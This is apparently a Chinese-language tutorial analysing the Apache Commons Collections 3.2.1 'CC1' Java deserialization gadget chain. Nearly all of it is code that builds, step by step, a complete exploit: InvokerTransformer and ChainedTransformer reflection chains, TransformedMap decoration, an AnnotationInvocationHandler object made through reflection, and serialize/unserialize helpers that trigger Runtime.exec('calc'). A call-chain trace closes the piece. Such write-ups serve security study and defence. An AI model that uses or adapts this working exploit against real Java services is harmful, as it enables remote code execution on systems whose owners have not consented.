CommonsCollections-CC1链分析

public static void main(String[] args) {    // Collection之所以可以接收ArrayList，是因为ArrayList实现了Collection接口    Collection<String> coll = new ArrayList<>();    // 调用Collection的add方法来添加数据    coll.add("a");    // 调用Collection的iterator方法来创建一个遍历器    Iterator<String> iterator = coll.iterator();    // 通过遍历器遍历相关内容    while(iterator.hasNext()){        System.out.print(iterator.next());    }}

public static void main(String[] args) {    // bag也是一个集合    Bag bag = new HashBag();    // 像集合中添加元素，第二个参数存在的话，说明添加几个，下面是分别添加两个a    bag.add("a", 2);    // 没有第二个参数，只添加一个b    bag.add("b");    // getCount获取元素在集合中有几个，这里输出是2    System.out.println(bag.getCount("a"));    // uniqueSet将元素去重输出，这里是a，b    System.out.println(bag.uniqueSet());    ArrayList}

<dependency>    <groupId>commons-collections</groupId>    <artifactId>commons-collections</artifactId>    <version>3.2.1</version></dependency>

public class Test {    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);    }
}

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});HashMap<Object, Object> map = new HashMap<>();// 调用decorate，传入map，key和value，map这里建一个hashmap即可，key用不到传个null就行，value我们还是传入InvokerTransformer对象TransformedMap.decorate(map, null, invokerTransformer);

public static void main(String[] args) {
    Runtime r = Runtime.getRuntime();    InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
    HashMap<Object, Object> map = new HashMap<>();    map.put("aaa", "bbb");    Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
    for (Map.Entry entry : transformedMap.entrySet()){        entry.setValue(r);    }
}

public static void main(String[] args) throws Exception {
    Runtime r = Runtime.getRuntime();    InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
    HashMap<Object, Object> map = new HashMap<>();    map.put("aaa", "bbb");    Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);        // 上面不变，还是之前的测试代码，只不过for循环去掉了，原本由for循环触发setValue，现在换成以下代码    // 思路就是通过构造方法实例化AnnotationInvocationHandler这个类，该类不能直接调用，因为默认作用域只允许该类或该类所在的包调用    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");    Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);    constructor.setAccessible(true);    // 这个有参构造第一个参数需要传入一个注解类，这里就直接把常用的重写注解传进去    Object o = constructor.newInstance(Override.class, transformedMap);
    // 序列化和反序列方法之前文章写过，都是固定的，这里不贴了，去触发readObject    serialize(o);    unserialize("test.bin");
}

public static void main(String[] args) throws Exception {    Class c = Runtime.class;    Method method = c.getMethod("getRuntime");    Runtime runtime = (Runtime) method.invoke(null, null);    Method run = c.getMethod("exec", String.class);    run.invoke(runtime, "calc");}

public static void main(String[] args) throws Exception {    Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);    Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);}

Transformer[] transformers = new Transformer[]{        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(Runtime.class);

package com.afa.test;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;
import java.io.*;import java.lang.reflect.Constructor;import java.util.*;

public class Test {    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();        map.put("aaa", "bbb");        // 原先这里传入的InvokerTransformer，现在换成chainedTransformer        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);        constructor.setAccessible(true);        Object o = constructor.newInstance(Override.class, transformedMap);
        serialize(o);        unserialize("test.bin");
    }
    public static void serialize(Object obj) throws IOException, IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.bin"));        oos.writeObject(obj);    }    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));        Object obj = ois.readObject();        return obj;    }    }

Transformer[] transformers = new Transformer[]{    // 新加此行，setValue执行，链条走到transform时，无论传入的是什么，都返回Runtime    new ConstantTransformer(Runtime.class),    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ObjectInputStream.readObject()  AnnotationInvocationHandler.readObject()    TransformedMap.decorate()    TransformedMap.entrySet()      AbstractInputCheckedMapDecorator.entrySet()      AbstractInputCheckedMapDecorator.setValue()      TransformedMap.checkSetValue()        ChainedTransformer.transform()          ConstantTransformer.transform()          InvokerTransformer.transform()            Method.invoke()              Class.getMethod()          InvokerTransformer.transform()            Method.invoke()            Runtime.getRuntime()          InvokerTransformer.transform()            Method.invoke()            Runtime.exec()